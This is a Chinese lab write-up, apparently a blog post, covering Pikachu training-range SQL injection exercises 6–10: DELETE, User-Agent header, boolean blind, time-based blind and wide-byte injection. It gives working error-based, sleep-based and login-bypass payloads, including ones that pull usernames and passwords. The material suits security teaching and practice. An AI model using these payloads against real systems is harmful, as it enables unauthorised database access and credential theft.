PIKACHU-SQL注入(6-10)

本文详细介绍了PIKACHU平台上的SQL注入漏洞,包括DELETE型注入、HTTP头注入、布尔型盲注、时间型盲注和宽字节注入。通过实例展示了如何利用这些注入技术获取数据库信息,如爆库、爆表、爆列及爆内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

6-delete注入

delete型注入相关的sql语句大概是个 DELETE FROM 表名称 WHERE 列名称 = 值 的形式。
先留个言,再删个除,burpsuite抓个包
在这里插入图片描述1、爆库 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
在这里插入图片描述2、爆表 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
在这里插入图片描述

3、爆列 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1)
在这里插入图片描述

4、爆内容 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘^’,password)) from users),1,31),0x7e),1)

在这里插入图片描述

7-http头注入

用户名admin,密码123456登录,并用burpsuite抓包
在这里插入图片描述登录进去之后有回显http request报文头
在这里插入图片描述根据业务逻辑和上图网页回显分析,这里如果有sql语句的话,比较大可能是insert或者update语句,注入点可能在User-agent或者Accept头。

1、把 User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误
在这里插入图片描述

在这里插入图片描述这说明存在 SQL 注入漏洞,后台可能会 insert 到数据库中,这个 payload 跟前面的 insert 实验的是一样的
useragent注入:1’ or updatexml(1, concat(0x7e, database()), 0) or ’
在这里插入图片描述在这里插入图片描述我们这时候就能取得数据库名,后面的操作就是一样的了

8-基于boolian的盲注

1、找闭合
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=lili’&submit=查询
用户名后面加一个单引号,返回username不存在
在这里插入图片描述http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=lili’‘&submit=查询
加两个单引号,也返回username不存在
在这里插入图片描述http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=lili’%23&submit=查询
但是加一个单引号在加一个注释符(%23就是#),返回正常结果。所以闭合是单引号。
在这里插入图片描述下面就是爆库,爆表,爆列,爆数据的步骤了

9-基于时间的盲注

先输入个正确的用户名,返回“i don’t care who you are!”
在这里插入图片描述再输入个错误的用户名,返回还是“i don’t care who you are!”
在这里插入图片描述参数正确和错误都返回一样的结果,就不能用布尔盲注了,试试时间盲注。
时间盲注的原理是构造逻辑语句,为真时执行sleep操作(表现为回包延时),为假时不执行。

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=lili’ and if(1=1,sleep(2),1)%23&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述看到上面的结果说明我们注入成功了。

10-宽字节注入,wide byte注入

在这里插入图片描述构建pyload:1%df’ or 1=1#
在这里插入图片描述其中%df’在gbk编码中会变成“運”,于是就变成了:1運’ or 1=1#,这样就凑成了单引号的闭合,后面也变成了永真式,所以就可以回显出整个表的信息。
在这里插入图片描述后续我们在尝试闭合成功后,后面也可以使用union联合查询来进行爆库爆表。

### Pikachu靶场中的SQL注入类型教程 #### 数字型SQL注入 当应用程序未正确过滤用户输入且该输入被用于构建SQL查询的一部分时,可能会发生数字型SQL注入。如果参数是整数形式,则攻击者可以尝试通过改变这个数值来观察应用行为的变化从而判断是否存在漏洞[^2]。 对于Pikachu靶场而言,在某些情况下,向URL或表单提交的数据中附加特殊字符(如`'`),会触发数据库错误提示,这表明可能存在SQL注入风险[^3]。 ```sql ?id=1 AND 1=1 -- 正常显示页面内容 ?id=1 AND 1=2 -- 页面返回异常或者空白页 ``` #### 字符型SQL注入 字符型SQL注入通常发生在字符串类型的参数上。在这种场景下,可以通过在合法数据之后追加恶意构造的SQL片段来进行测试。例如: ```sql username=admin' OR '1'='1 password=a' OR 'a'='a ``` 这些命令利用了逻辑运算符OR使得条件永远成立,进而绕过身份验证机制[^1]。 #### 联合查询注入 为了进一步探索数据库结构,即所谓的“爆库”,可以采用UNION SELECT语句组合两个SELECT查询的结果集。此方法适用于已知目标站点存在可利用的SQL注入点,并希望从中提取额外的信息的情况。比如获取其他表格的名字、列名等敏感资料。 ```sql ?search=test'+union+select+null,table_name,null+from+information_schema.tables--+HTTP/1.1 Host: example.com ``` 上述例子展示了如何从MySQL内置的信息模式(information_schema)读取有关现有表的信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值